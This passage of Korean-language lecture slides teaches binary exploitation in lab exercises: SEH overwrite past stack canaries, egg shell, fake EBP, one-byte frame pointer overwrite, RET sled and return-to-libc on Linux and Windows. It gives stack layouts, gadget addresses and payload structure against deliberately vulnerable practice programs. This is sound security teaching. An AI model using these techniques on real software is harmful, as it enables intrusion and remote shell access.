  • 32. Stack Guard SEH OVERWRITE (WINDOWS) 개념 • Stack guard(SG), Stack shield(SS), Stack cookie, canary, 보안검사 등 여러가지 이름으로 불리는 방어기법을 우회하기 위한 방 법 • Stack guard : 스택에 Canary라고 불리는, 랜덤한 데이터를 저장해 둔다. ret하기 전에 넣어둔 Canary가 변조됐는지 확인한다. 변조됐다면 공격을 감지하고 에러 메시지를 출력한다. • SEH overwrite는 Canary와 Return address를 넘어, 등록해 둔 SEH 데이터를 변형시켜 예외 핸들러와 Next SEH Record 포인터 를 바꾸는 공격방식이다. • Next SEH Record에는 셸 코드로 점프하는 코드를, 예외 핸들러는 POP POP RET 코드가 있는 주소를 써 준다. • 이 상태로 예외를 발생시키면, POP POP RET 코드가 실행되고, RET 코드를 통해 Next SEH Record의 주소에 있는 점프 코드를 실행한다. 점프 코드를 실행 하면 셸 코드에 도달한다. ASLR 방어기술 SEH overwrite
  • 33. SEH OVERWRITE (WINDOWS) 개념 pop pop ret 예외 발생 코드 진행을 멈추고, SEH 실행 => Canary 체크 코드를 실행하기 전, 다른 코드를 실행할 기회를 얻음 jmp 셸 코드 Stack guard를 우회하여 셸 코드 실행 성공! • SEH 실행 시 ESP + 8의 위치에는 현재 실행중인 SEH를 등록하기 위해 쓴 구조체 주소가 있음 • =다음 SEH를 가리키는 변수의 주소가 있음 • ret으로 ESP+8에 주소가 적혀 있는 위치로 이동 • 스택이며 조작 가능한 곳 • 이 곳에는 셸 코드로 점프하는 코드를 적어 둘 것임
  • 34. SEH OVERWRITE (WINDOWS) - 실습 • 이 기술을 방어하기 위한 기술인 safe SEH를 해제해야 한다.
  • 35. SEH OVERWRITE (WINDOWS) – 실습 • Stack guard를 활성화한 뒤 컴파일 해 보자 • 특정 주소에서 데이터를 가져오고, EBP와 XOR 한 뒤, 그 값을 EBP-4에 저장한다. • 스택을 정리하기 전에, EBP-4에 저장된 값을 불러온 뒤, EBP와 XOR하고, __security_check_cookie 함수를 호출한다. • -> EBP-4에 틀린 값이 들어있을 시 오류가 뜨고 프로그램이 중지됨
  • 36. SEH OVERWRITE (WINDOWS) – 실습 • main함수 스택 확보 후, SEH chain에서 예외 처리기가 등록된 주소를 찾아본다. • 가장 가까운 SEH는 EBP+30과 EBP+34에 저장되어 있다.
  • 37. SEH OVERWRITE (WINDOWS) – 실습 • 코드를 변경하여 일부러 예외를 발생시켜 기존의 SEH에 따라 들어가보자 • 다음을 확인할 수 있다 • SEH에 들어가면, 기존 스택보다 훨씬 낮은 주소를 가진 스택을 이용 • ESP+8과 ESP+14 위치에는 다음 EXCEPTION_REGISTRATION 구조체의 주소를 저장하는, 포인터변수의 주소가 있다. • (실행중인 예외 핸들러와 같은 구조체에 들어있는 변수) • 즉, pop pop ret 코드를 핸들러의 주소로 설정하면, 스택의 포인터 변수 위치로 return하게 된다. pop pop ret
  • 38. SEH OVERWRITE (WINDOWS) – 실습 • pop pop ret 코드를 찾아봄 • (실제로 유의미한 공격을 위해서는) ASLR이 적용되지 않은 모듈에서 찾아야 함 • immunity debugger의 search 모듈을 이용하면 간단하게 찾아볼 수 있다. • !search pop r32npop r32n ret • r32는 아무 32비트 레지스터를 의미한다. n는 명령어를 구분하는 용도이다. • safe SEH가 적용되지 않은 모듈의 주소를 이용해야 한다. • 0x4012C5를 이용하기로 하자.
  • 39. SEH OVERWRITE (WINDOWS) – 실습 • 스택 구조 • Canary를 넣느라 스택 크기가 4만큼 늘어난 0xCC가 됨 • scanf에 넣는 버퍼 주소는 EBP-CC • SEH • Next SEH pointer는 EBP+30에 위치 • SE Handler는 EBP+34에 위치 ... Canary EBP backup Return address ... Next SEH SE Handler ... EBP EBP - CC EBP + 4 EBP - C8 . . . . . EBP + 8 EBP + C EBP - 4 EBP + 30 EBP + 34 . .
  • 40. SEH OVERWRITE (WINDOWS) – 실습 • Exploit • 예외를 일으키기 위해 stack overflow를 낸다. (Reserve한 스택을 넘어서 쓰려고 하면 일어나는 예외) ...dummy... Canary EBP backup Return address ... Next SEH SE Handler ...셸 코드... ...dummy... Stack overflow!!! EBP EBP - CC EBP + 4 EBP - C8 . . . . . EBP + 8 EBP + C EBP - 4 EBP + 30 EBP + 34 . . . .
  • 41. SEH OVERWRITE (WINDOWS) – 실습 ...dummy... Canary EBP backup Return address ... Next SEH SE Handler ...셸 코드... ...dummy... Stack overflow!!! EBP EBP - CC EBP + 4 EBP - C8 . . . . . EBP + 8 EBP + C EBP - 4 EBP + 30 EBP + 34 . . . .
  • 42. EGG SHELL • 개념 • 실습 – Linux – 환경변수 이용하기 • 실습 – Linux – 1 • 실습 – Linux – 2
  • 43. EGG SHELL 개념 • Egg shell은 환경변수를 이용하는 방식이다 • 환경변수에 셸 코드를 저장해 두고, return address에 환경변수의 주소를 넣음 • 정확히 말하자면 환경변수를 등록한 뒤 sh 프로그램을 실행(환경변수가 등록된 셸 프로그램이 실행 됨), 그 위에 서 exploit을 실행하는 기법이지만, 일반적으로 환경변수를 이용하여 exploit하는 경우 egg shell이라 한다. • unix 계열의 환경변수는 포인터로 참조된다 • => 환경변수가 메모리 어딘가에 항상 저장되어 있다는 것 (정확히는 스택) • 이러한 특성을 이용하여 공격에 이용 • 이용하는 경우 • 버퍼의 크기가 쉘 코드가 들어갈 만큼 넉넉하지 못 할 경우 • 환경변수에 원하는 만큼 저장할 수 있음 • 스택 주소를 이용하기 어려운 경우 • 환경변수는 보통 main 함수의 스택 프레임 앞쪽에 위치한다.
  • 44. EGG SHELL 개념 – 환경변수란? • 환경변수 • 프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는 동적인 값들의 모임 • 시스템의 환경 정보를 가지고 있는 변수 • 사용 예 • 아무 데서나 ls나 cd를 실행했을 때, 환경변수를 지정해 두지 않았다면 실행되지 않는다 • /bin/ls 와 같이 절대경로를 적어주어야 함 • PATH라는 이름을 가진 환경변수에 포함되어 있는 경로에서 ls 프로그램을 찾아 실행해 주는 것 • 절대경로를 지정하지 않아도 실행 가능
  • 45. EGG SHELL 개념 – 환경변수란? • 환경변수 설정 • 명령어를 이용 • 터미널에서 명령어를 이용하여 환경변수를 설정할 수 있다 • export 명령어 (bash에서 사용) • export KEY="Value" 또는 export KET=Value (둘 다 같음) • Ex) export myenv="/home/mydir" • myenv 값에 /home/mydir 가 저장되게 된다. • 이미 있는 환경변수에 export 설정을 할 경우 해당 값이 바뀐다 • 주의 • =사이를 띄우면 안 됨 • export 명령어를 통해 등록한 환경변수는 영구저장 되는 것이 아님. 해당 shell 에서만 사용 가능, 해당 shell을 종료하면 없어짐 • 환경변수 내용 확인 • echo $변수명 • UNIX는 환경변수를 사용할 때는 "$변수명" 형태로 사용한다 • set 명령어 • env 명령어
  • 46. EGG SHELL 개념 – 환경변수란? • 환경변수 설정 • 파일에 저장 • 환경변수를 영구적으로 등록하고 싶을 경우 적절한 파일에 저장해야 한다. • 환경 변수는 크게 세 가지 관점으로 나눌 수 있다 • 로컬 환경 변수 • 현재 세션에서만 동작하는 환경변수 • 명령어로 export한 경우 • 사용자 환경 변수 • 특정 사용자에 대해서만 정의된 환경변수 • 로컬 터미널 세션 또는 원격 로그인 세션을 사용하여 로그인할 때마다 로드 됨 • 관련 파일 : .bashrc, .bash_profile, .bash_login, .profile • 시스템 전체 환경 변수 • 해당 시스템에 존재하는 모든 사용자가 사용할 수 있는 환경변수 • 모든 사용자가 로컬 또는 원격으로 로그인할 때마다 로드 됨 • 관련 파일 : /etc/environment, /etc/profile, /etc/profile.d, /etc/bash.bashrc  파일 차이점  로드되는 시점에 따라 다름  변수가 영구히 어딘가 있는 게 아니라, 매번 각 파일의 스크립트가 실행되어 export 명령이 실행되는 것. 원하는 타이밍에 자동으로 export 명령어를 실행하도록 등록해 두는 것 <.profile 파일에 적어 둔 환경변수 예>
  • 47. EGG SHELL 개념 – 환경변수란? • 환경변수 설정  파일 차이점  Login shell  ID와 패스워드를 입력해서 shell을 실행하는 것  SSH로 접속하거나 로컬에서 GUI를 통해 shell을 실행하는 것  실행 절차  /etc/profile 호출 -> /etc/profile.d 내 스크립트 호출 -> ~/.bash_profile 호출 -> ~/.bashrc 호출 -> /etc/bashrc 호출  Non-Login shell  로그인 없이 실행하는 shell  ssh로 접속 후 다시 bash를 실행하는 경우나, GUI 세션에서 터미널을 띄우는 것도 해당  실행 절차  ~/.bashrc 호출 -> /etc/bashrc 호출 -> /etc/profile.d 내 스크립트 호출
  • 48. EGG SHELL 개념 – 환경변수란? • 환경변수 설정 • 코드 이용 • 함수를 호출하여 환경변수를 등록할 수 있다 • putenv() • 환경변수 설정 • Ex) • putenv("KEY=value"); • KEY 변수에 value값 설정 • getenv() • 환경변수의 value가 저장된 포인터를 반환 • Ex) • getenv("KEY"); • 위 putenv함수를 통해 설정했다 가정한다면, value라는 문자열이 저장된 주소를 return 한다
  • 49. EGG SHELL – 실습 – LINUX – 환경변수 이용하기 • 메인 함수의 인자로 받은 환경변수 주소 배열의 포인터를 이용하여 환경변수에 접근하는 예제 • 스택 구조를 직접 확인해보기 위함 + 환경변수 사용법에 익숙해 지기 위함
  • 50. EGG SHELL – 실습 – LINUX – 환경변수 이용하기 • 환경변수는 메인 함수 스택 프레임 앞쪽에 위치 • key=value 형태의 문자열이 저장되어 있다 • NULL문자로 구분 EBP backup Return address ... argc (int) argv (char**) envp (char**) ... main함수 인자 배열 ... 0x93 0xcf 0xff 0xff ... 환경변수 주소 배열 ... ... X V _ G D = R N T C L 0 7 환경변수 값들 (key=value 형태) ... 0xffffccd0 . . 0xffffccd4 0xffffccd8 0xffffcd64 0xffffcf94 . . 0xffffcf90 0xffffcf98 0xffffcf9c 0xffffcd6c . .
  • 51. EGG SHELL – 실습 – LINUX – 환경변수 이용하기 • 결론적으로 오른쪽과 같은 모습의 스택을 유지한다는 것을 알 수 있다. • Egg shell에서는 환경변수에 셸 코드를 넣고, return address를 환경변수의 value가 시작하는 주소로 넣을 것 • 앞의 "key= " 부분을 주의 • 환경변수 주소에 영향을 끼치는 요소 • ASLR • main함수 인자 • 프로그램 실행 시, ./a.out으로 실행하느냐 /home/a.out으로 실행하는가에 따라(경로) argv[0]의 값이 달 라지므로, 프로그램을 어떻게 실행했는지도 영향을 끼침 • 다른 환경변수들 • => ASLR은 그렇다 쳐도, 또 다른 영향을 끼치는 요소들이 있기 때문에 NOP sled를 넣는 것이 좋음 • (이것들은 또한 모든 스택 주소에 영향을 끼침 (상황에 따라 주소가 조금씩 밀리거나 당겨 짐)) .... EBP backup Return address ... argc (int) argv (char**) envp (char**) ... ... main함수 인자 배열 ... ... 환경변수 주소 배열 ... ... ... 환경변수 값들 (key=value 형태) ... ...
  • 52. EGG SHELL – 실습 – LINUX – 1 • 환경변수 등록 • 환경변수의 내용으로 셸 코드를 등록해 둔다. • test라는 이름의 환경변수를 만들었음 • 그림의 명령어 예는 파이썬 출력 값을 등록하거나, 파일에 저장해둔 셸코드를 등록한 것 • env 명령어를 이용하여 잘 등록되었는지 확인
  • 53. EGG SHELL – 실습 – LINUX – 1 • 취약 프로그램 • 귀찮으니까 환경변수 주소를 직접 뽑도록 한다 • 실제로는 디버깅이나 다른 프로그램을 이용하여 주소 를 뽑음 • (단, 디버거 이용 시 디버거만 이용하는 환경변수를 이용하는 경우가 있기 때문에 이를 고려해야 함) • 환경변수를 만들고, value의 시작 주소를 얻어오는 프 로그램을 따로 만들어도 되지만, 정확한 주소를 얻기 위해서는 프로그램 이름(경로)의 길이를 똑같이 하는 편이 좋다. • NOP sled 잘 활용할 것
  • 54. EGG SHELL – 실습 – LINUX – 1 • Exploit • 파이썬 Exploit 코드 • return address에 환경변수 주소를 넣음
  • 55. EGG SHELL – 실습 – LINUX – 2 • Egg shell 기법을 정확히 적용해 보자 • 환경변수에 셸 코드를 등록하고, 셸을 실행하여 환경변수를 포함하는 셸 위에서 작업한다 getenv(myenv)함수를 호출해 환경변수 주소 알아내기 (프로그램 이름 길이 등에 주의) eggshell 위에서 프로그램을 실행, 환경변수 주소를 이용하여 Exploit!
  • 56. FAKE EBP • 개념 • 실습 – Linux
  • 57. FAKE EBP • RET 이후로 덮어쓸 수 없을 때 • 자리가 없거나 상황상 제한이 있는 경우 • buffer + SFP(stack frame pointer) + RET 만 건드릴 수 있는 상황에서 시도해볼 만한 방법 • RET 자리에 스택이나 라이브러리 함수 주소를 필터링 했을 때 • 주소 맨 앞자리만 체크해서 필터링 하는 등의 경우 • return address로 스택이나 라이브러리 함수 주소를 이용할 수 없는 경우 • EBP를 속이는 기법 • EBP에는 셸 코드 주소 – 4에 해당하는 주소를 넣는다 • return address에는 LEAVE/RET 패턴의 주소를 넣는다 • 셸 코드의 맨 앞부분에는 셸 코드의 주소를 넣는다 • LEAVE 명령어는 MOV ESP, EBP / POP EBP 명령어가 합쳐진 것 • ->LEAVE 대신 MOV ESP, EBP/POP EBP/RET 패턴을 찾아도 됨 (함수 에필로그의 패턴)
  • 58. FAKE EBP ...더미 데이터... EBP backup Return address ... 셸 코드 주소 ...셸 코드... EBP와 ESP ESP <pop 실행 전 스택> push ebp mov ebp, esp sub esp, 0xC8 ...코드... mov esp, ebp pop ebp ret [일반적인 함수] pop 코드 실행 EBP는 셸 코드 주소 – 4 를 가리키게 됨 EBP <pop 실행 후 스택> ...더미 데이터... EBP backup Return address ... 셸 코드 주소 ...셸 코드...
  • 59. FAKE EBP ESP <pop 실행 후 스택> push ebp mov ebp, esp sub esp, 0xC8 ...코드... mov esp, ebp pop ebp ret [일반적인 함수] ret 코드 실행 EIP는 주소 0xXXXXXXXX에 있는 leave/ret 코드로 이동 EBP <ret 실행 후 스택> ESP EBP ...더미 데이터... EBP backup Return address ... 셸 코드 주소 ...셸 코드... ...더미 데이터... EBP backup Return address ... 셸 코드 주소 ...셸 코드...
  • 60. FAKE EBP ESP leave ret [leave/ret 코드] leave 코드 실행 mov esp, ebp pop ebp 가 함축된 코드 -> esp는 ebp+4 를 가리키게 되고, ebp는 어딘가로 떠내려 간다. esp가 가리키는 위치에는 셸 코드의 시작 부분에 적어 둔 셸 코드 주소가 있음 EBP <ret 실행 후 스택> ESP EBP <leave 실행 후 스택> ...더미 데이터... EBP backup Return address ... 셸 코드 주소 ...셸 코드... ...더미 데이터... EBP backup Return address ... 셸 코드 주소 ...셸 코드...
  • 61. FAKE EBP leave ret [leave/ret 코드] ret 코드 실행 pop eip jmp eip 가 함축된 코드 eip가 셸 코드의 위치를 가리키게 되고, 셸 코드를 실행한다. EBP <ret 실행 후 스택> ...더미 데이터... EBP backup Return address ... 셸 코드 주소 ...셸 코드... ESP EBP <leave 실행 후 스택> ...더미 데이터... EBP backup Return address ... 셸 코드 주소 ...셸 코드... EIP, ESP
  • 62. FAKE EBP – 실습 – LINUX • 환경변수에 셸 코드를 저장해 둔다. • 맨 앞에는 셸 코드의 주소를 넣을 것이므로, 일단 4바이트의 더미를 넣음 • 환경변수의 주소를 구한 다음 다시 더미에 주소를 넣는다 • 환경변수 시작 주소 + 4 위치부터 셸 코드가 들어갈 것 • ->환경변수 시작주소 +4 를 맨 앞에 저장
  • 63. FAKE EBP – 실습 – LINUX • leave/ret 패턴을 찾는다 • 또는 mov esp, ebp/pop ebp/ret 패턴도 됨 • objdump와 grep을 이용하여 이에 해당하는 패턴을 찾음 • 0x080484a1에서 원하는 코드 조각을 찾았음
  • 64. FAKE EBP – 실습 – LINUX • Exploit • 파이썬 exploit 코드 • 환경변수 내용이 시작되는 주소 – 4 를 EBP backup에 쓴다. • 정확히는 셸 코드 주소를 저장 해 놓은 주소 – 4 • -> 0xffffda5a • return address에는 앞에서 찾은 leave/ret 코드조각의 주소를 넣는다. • -> 0x080484a1
  • 65. SAVED FRAME POINTER OVERWRITING (SFO) • 개념 • 실습 – Linux
  • 66. SAVED FRAME POINTER OVERWRITING (SFO) • SFP(Stack Frame Pointer) Overflow, Saved Frame Pointer Overwrite (SFO), FPO(Frame Pointer Overwrite), 1 Byte Overflow 등 여러 이름으로 불림 • 백업해 둔 EBP(saved frame pointer, SFP)의 1byte만 조작 가능할 때 사용할 수 있는 방법 • ->Off-by-One 취약점에 시도해 볼 만한 방법 • Off-by-One 취약점? • 프로그램을 짜다 보면 많이 나오는 에러로, <=나 <를 잘못 이용한 경우와 같이 1 차이로 생기는 취약점 • Fake EBP와 비슷하게, EBP를 속여서 exploit 한다. • 차이점 • SFO는 서브루틴(함수)이 필요 • return address를 조작하여 leave/ret 패턴을 바로 실행할 수 없으므로, 서브루틴에 취약점이 있는 경우에만 이용 가능 • ->return address를 조작하여 leave/ret 하지 않고, 취약점이 있는 서브루틴을 호출한 함수가 종료되며 leave/ret 하는 것을 이용 • SFO는 SFP의 일부만 조작
  • 67. SAVED FRAME POINTER OVERWRITING (SFO) • (조작되기 전의) 기존의 EBP backup에는 스택의 주소가 저장되어 있음 • 이 중 맨 뒤 한 바이트를 조작할 수 있는 상황에 이 기법을 이용해볼 수 있음 • Ex) EBP backup으로 저장된 주소가 0xbfffffXX라면 XX를 조작 • ->가까운 버퍼를 이용해야 한다는 제약이 있다 • 셸 코드 주소를 저장해 놓은 버퍼가 오염되지 않아야 함 • return address를 조작할 수 없으므로, 기존 코드를 이어서 실행하게 됨 • 이 때, 다시 함수 에필로그 패턴이 나오기 전까지 셸 코드 주소를 저장한 버퍼가 오염되어서는 안 된다 • 조작된 EBP가 가리키는 위치 • "셸 코드의 시작주소를 저장한 버퍼의 주소" – 4
  • 68. SAVED FRAME POINTER OVERWRITING (SFO) ...더미 데이터... 셸 코드 주소 Return address ... ...셸 코드... EBP와 ESP ESP <pop 실행 전 스택> push ebp mov ebp, esp sub esp, 0xC8 ...코드... mov esp, ebp pop ebp ret [일반적인 함수] pop 코드 실행 EBP는 셸 코드 주소를 저장한 버퍼 주소 – 4 를 가리키게 됨 EBP <pop 실행 후 스택> ...더미 데이터... 셸 코드 주소 Return address ... ...셸 코드...
  • 69. SAVED FRAME POINTER OVERWRITING (SFO) ESP <pop 실행 후 스택> push ebp mov ebp, esp sub esp, 0xC8 ...코드... mov esp, ebp pop ebp ret [일반적인 함수] ret 코드 실행 EIP는 정상적인 return address를 이용하여 돌아 감 EBP <ret 실행 후 스택> ESP EBP ...더미 데이터... 셸 코드 주소 Return address ... ...셸 코드... ...더미 데이터... 셸 코드 주소 Return address ... ...셸 코드...
  • 70. SAVED FRAME POINTER OVERWRITING (SFO) ESP ... leave ret (정상적으로 프로그램을 실행하다가, 다시 함수가 마쳐서 함수 에필로그가 나옴) [일반적인 함수] leave 코드 실행 esp는 ebp+4 를 가리키게 되고, ebp는 어딘가로 떠내려 간다. esp가 가리키는 위치에는 셸 코드의 시작 부분에 적어 둔 셸 코드 주소가 있음 EBP <ret 실행 후 스택> ESP EBP <leave 실행 후 스택> ...더미 데이터... 셸 코드 주소 Return address ... ...셸 코드... ...더미 데이터... 셸 코드 주소 Return address ... ...셸 코드...
  • 71. SAVED FRAME POINTER OVERWRITING (SFO) ... leave ret (정상적으로 프로그램을 실행하다가, 다시 함수가 마쳐서 함수 에필로그가 나옴) ret 코드 실행 eip가 셸 코드의 위치를 가리키게 되고, 셸 코드를 실행한다. EBP <ret 실행 후 스택> ESP EBP <leave 실행 후 스택> EIP ESP [일반적인 함수] ...더미 데이터... 셸 코드 주소 Return address ... ...셸 코드... ...더미 데이터... 셸 코드 주소 Return address ... ...셸 코드...
  • 72. SAVED FRAME POINTER OVERWRITING (SFO) – 실습 – LINUX • 취약 프로그램 • 서브루틴에 Off-by-One 취약점이 있도록 했다
  • 73. SAVED FRAME POINTER OVERWRITING (SFO) – 실습 – LINUX • 환경변수에 셸 코드를 저장해 둔다 • fake ebp와는 달리 환경변수에 셸 코드 주소를 저장하지 않음 • 순수하게 셸 코드만 있으면 됨 • 환경변수 주소 • 0xffffda56
  • 74. SAVED FRAME POINTER OVERWRITING (SFO) – 실습 – LINUX • 스택 구조 • 이번 취약 프로그램은 버퍼 크기가 앞의 예제와 달리 100임에 주의 (0x64) ...더미 데이터... EBP backup Return address ... ...셸 코드... EBP EBP - 64 EBP + 4 . . . . . EBP + 8 EBP + C (0xffffcbe8) EBP - 4 0xffffda56 . . (0xffffcbe4) EBP - 8
  • 75. SAVED FRAME POINTER OVERWRITING (SFO) – 실습 – LINUX • 일부러 예외를 일으켜 core파일을 만들고, 주소를 찾는다. • "B"에는 셸 코드의 주소를 저장할 것임 • EBP backup의 마지막 한 바이트만 조작해서 접근 가 능한/그리고 조작 가능한 위치를 찾음 • "C"는 EBP backup을 1바이트 조작한 것 • "B"를 저장한 주소 – 4 값이 들어가야 함 • "B"가 저장된 주소 • 0xffffcbe8 • "C"에 넣어야 하는 값 • 0xe4
  • 76. SAVED FRAME POINTER OVERWRITING (SFO) – 실습 – LINUX • Exploit ...더미 데이터... ff ff da 56 ff ff cb e4 Return address ... ...셸 코드... EBP EBP - 64 EBP + 4 . . . . . EBP + 8 EBP + C (0xffffcbe8) EBP - 4 0xffffda56 . . (0xffffcbe4) EBP - 8
  • 77. RET SLED • 개념 • 실습 – Linux
  • 78. RET SLED • return address에 스택 주소를 곧바로 이용할 수 없는 상황이나 버퍼(지역변수)를 이용할 수 없 는 상황에서 사용할 만한 방법 • RET 코드의 주소를 return address에 넣음 • RET 코드 주소 아래에 셸 코드의 주소를 넣음 • RET를 실행하며 타고 내려가서 RET sled • EIP 뿐만 아니라 ESP를 조정하는 등의 용도로도 이용 가능할 듯
  • 79. RET SLED ESP ...더미 데이터... EBP backup &RET &RET ... &RET ... 셸 코드 주소 ... ...셸 코드... ESP EIP 쭉 ret 실행 RET을 반복적으로 실행 ESP가 스택을 타고 내려간다 마지막 ret 실행 셸 코드 주소를 이용하여 RET실행 EIP는 셸 코드를 가리키게 된다 ...더미 데이터... EBP backup &RET &RET ... &RET ... 셸 코드 주소 ... ...셸 코드... ...더미 데이터... EBP backup &RET &RET ... &RET ... 셸 코드 주소 ... ...셸 코드... ESP
  • 80. RET SLED – 실습 – LINUX • 취약 프로그램 • 다시 이용하던 프로그램 이용 • 환경변수에 셸 코드를 넣어 둠 • 주소는 0xffffda56
  • 81. RET SLED – 실습 – LINUX • objdump로 ret 코드를 찾음 • 0x08048312에 있는 코드를 이용할 것임
  • 82. RET SLED – 실습 – LINUX • exploit • 한 번만 거쳤음 ...더미 데이터... EBP backup &RET 셸 코드 주소 ... ...셸 코드... EBP EBP - CC EBP + 4 EBP - C8 . . . . . EBP + 8 0xffffda56
  • 83. RETURN TO LIBRARY (RTL) • 실습 – Linux • 실습 – Windows
  • 84. RETURN TO LIBRARY(RTL) • 스택에 함수의 인자를 넣어두고, return address에 라이브러리 함수 주소를 넣는다 • 셸 코드 없이 원하는 작업을 할 수 있다 • DEP을 우회할 수 있다. • Data Execution Prevention : 실행 권한이 없는 메모리 영역의 코드가 실행되지 못하도록 방지하는 기법 • 스택이나 힙에 저장된 코드를 실행하지 못 하도록 함 • 셸 코드를 이용하지 않으므로 스택에 저장된 코드를 실행 하지도 않음. 따라서 DEP을 우회. • 셸 코드를 탐지하는 보안장치를 우회하는 용도로도 쓸 수 있다. DEP 방어기술 RTL
  • 85. RETURN TO LIBRARY(RTL) – 실습 – LINUX • 리눅스에서의 RTL은 Return To Libc라고 쓰기도 함 • Libc는 리눅스에서 사용하는 C standard library를 의미한다 • ASLR을 끄고, DEP을 켠다. • 컴파일 시 -z execstack를 쓰지 않으면 DEP이 기본적으로 설정 됨 • 또는 –z noexecstack을 쓰면 설정 됨 • 이 상태로 기존 셸 코드를 실행하면 세그멘테이션 오류가 난다.
  • 86. RETURN TO LIBRARY(RTL) – 실습 – LINUX • 먼저 사용할 함수의 주소를 알아낸다. • 사용할 함수는 system함수 • static library를 링킹하지 않았다면 디폴트로 동적 라이브러리를 이용함 • static으로 연결한 경우에도 마찬가지로 함수 주소를 알아내어 이용 가능 • 취약 프로그램을 gdb에 올리고, bp를 걸고 프로그램을 실행한 뒤, system 심볼이 가리키는 주소를 뽑으면 됨 • print system 명령어를 이용하면 system 심볼이 가리키는 주소를 알려준다 • 함수를 이용하는 코드에 가서 plt에서 함수의 주소를 구하고 호출하는 루틴을 찾아가도 됨
  • 87. RETURN TO LIBRARY(RTL) – 실습 – LINUX • 먼저 사용할 함수의 주소를 알아낸다. • 라이브러리가 올라온 base address를 구하고, readelf를 이용하여 라이브러리 함수가 올라오는 offset을 구해 직접 주소를 계산하는 방법도 있다 • info proc mappings로 프로세스의 메모리가 어떻게 매핑되었나 확인, 그 라이브러리에 readelf를 이용하여 오프셋 뽑음 • ldd 명령어로 사용하는 라이브러리의 이름과 base 주소를 알아낼 수도 있음 *참고로 libc.so.6은 libc-2.23.so의 심볼릭 링크 파일이다
  • 88. RETURN TO LIBRARY(RTL) – 실습 – LINUX • system 함수의 주소가 0xf7e3bda0임을 알아냈음 • 이를 return address에 넣어줄 것 • return address 아래 4바이트의 dummy를 넣고, 그 아래 system 함수의 인자를 넣는다. • 함수 인자로는 /bin/sh 문자열이 저장된 주소가 들어갈 것 • system("/bin/sh"); 코드를 실행했을 때와 같은 스택을 연출한다. • /bin/sh 문자열은 적절한 위치(주소를 예측할 수 있고 읽을 수 있는)에 있어야 한다 • 문자열 주소 뒤쪽 스택이나, 환경변수 등을 이용해 저장한다 • 이 주소를 system 함수의 인자로 넣음 • 이번 예에서는 환경변수를 이용하기로 함 • return address 위치에 함수 주소를 넣고, 4바이트만큼의 dummy 데이터를 넣은 후, WinExec 함수의 인자를 스택에 넣는다. • ret 명령어를 통해 system 함수 주소로 가서 함수를 실행한다. • system 함수 주소 밑에 있는 dummy는 함수를 정상적으로 호출했을 때, return address가 저장되는 위치 • call system 가 아니라 ret를 통해 EIP가 변경되었으므로 return address가 들어가지 않음 • 함수를 정상적으로 호출했을 때 함수의 인자가 있는 위치(return address 보다 위쪽 스택)에 함수 인자를 넣어두었으므로, 정상적으로 함수의 작업을 진행할 수 있음 ...더미 데이터... EBP backup system 함수 주소 ...dummy... "/bin/sh" 문자열 주소 ... ... 환경변수들 ... EBP EBP - C8 EBP + 4 EBP - C4 . . . . . . EBP + 8 EBP + C <스택 BOF 후 스택> EBP + 10 EBP + 14
  • 89. RETURN TO LIBRARY(RTL) – 실습 – LINUX • 환경변수를 등록하고, 그 주소를 알아냈음 • 환경변수는 0xffffda6e에 있음
  • 90. RETURN TO LIBRARY(RTL) – 실습 – LINUX • Exploit • 셸을 따는 것에 성공은 하지만 입력을 끝내면 세그멘테이션 오류가 난다 • system 함수를 마치고 돌아갈 return address에 쓰레기 값을 넣었으므로, 종료가 제대로 되지 않음 • ->뒤에서 해결 방법을 알아볼 것
  • 91. RETURN TO LIBRARY(RTL) – 실습 – WINDOWS • 취약 프로그램에 DEP을 적용하여 컴파일 한다. • 앞서 실습할 때 켰던 SG를 끄는 것을 잊지 말자
  • 92. RETURN TO LIBRARY(RTL) – 실습 – WINDOWS • 이전 셸 코드를 사용하여 실행하면 프로그램이 종료된다. • 올리 디버거에서는 DEP을 적용한 프로그램에서 스택으로 ret하면 오른쪽과 같은 에러 메시지를 띄운다.
  • 93. RETURN TO LIBRARY(RTL) – 실습 – WINDOWS • 원하는 함수의 주소를 알아낸다. • ASLR이 적용되지 않아야 가능 • WinExec로 cmd를 실행하도록 할 것이므로, WinExec 함수의 주소를 알아냈다.
  • 94. RETURN TO LIBRARY(RTL) – 실습 – WINDOWS • return address 위치에 함수 주소를 넣고, 4바이트만큼의 dummy 데이터를 넣은 후, WinExec 함수의 인자를 스택에 넣는다. • WinExec("cmd", 5); 코드를 실행했을 때와 같은 스택을 연출한다 • 5가 먼저 push되고, 그 다음 "cmd"문자열 주소가 push됨에 주의 (5가 높은 주소, "cmd" 주소가 낮은 주소에 위치) • "cmd" 문자열은 적절한 위치에 저장되어 있어야 한다. • 이 예에서는 WinExec 인자의 아래쪽에 넣겠음 • ASLR을 적용하지 않았기 때문에 스택 주소를 알 수 있으므로 • ret 명령어를 통해 WinExec 함수 주소로 가서 함수를 실행한다. • WinExec 함수 주소 밑에 있는 dummy는 함수를 정상적으로 호출했을 때, return address가 저장되는 위치 • call WinExec가 아니라 ret를 통해 EIP가 변경되었으므로 return address가 들어가지 않음 • 함수를 정상적으로 호출했을 때 함수의 인자가 있는 위치(return address 보다 위쪽 스택)에 함수 인자를 넣어두었 으므로, 정상적으로 함수의 작업을 진행할 수 있음 ...더미 데이터... EBP backup WinExec함수 주소 ...dummy... "cmd" 문자열 주소 5 0 d m c ... EBP EBP - C8 EBP + 4 EBP - C4 . . . . . . EBP + 8 EBP + C <스택 BOF 후 스택> EBP + 10 EBP + 14
  • 95. RETURN TO LIBRARY(RTL) – 실습 – WINDOWS • Exploit • cmd 문자열을 저장한 주소는 0x19FF54 • 셸 코드를 이용하지 않아서 스택에 있는 코드를 실행 하지도 않았다. • 하지만 WinExec를 마치고 돌아갈 return address에 쓰레기 값을 넣었으므로, 종료가 제대로 되지 않음 • ->뒤에서 해결 방법을 알아볼 것
  • 96. RTL CHAIN • 개념 • 실습 – Linux • 실습 – Windows
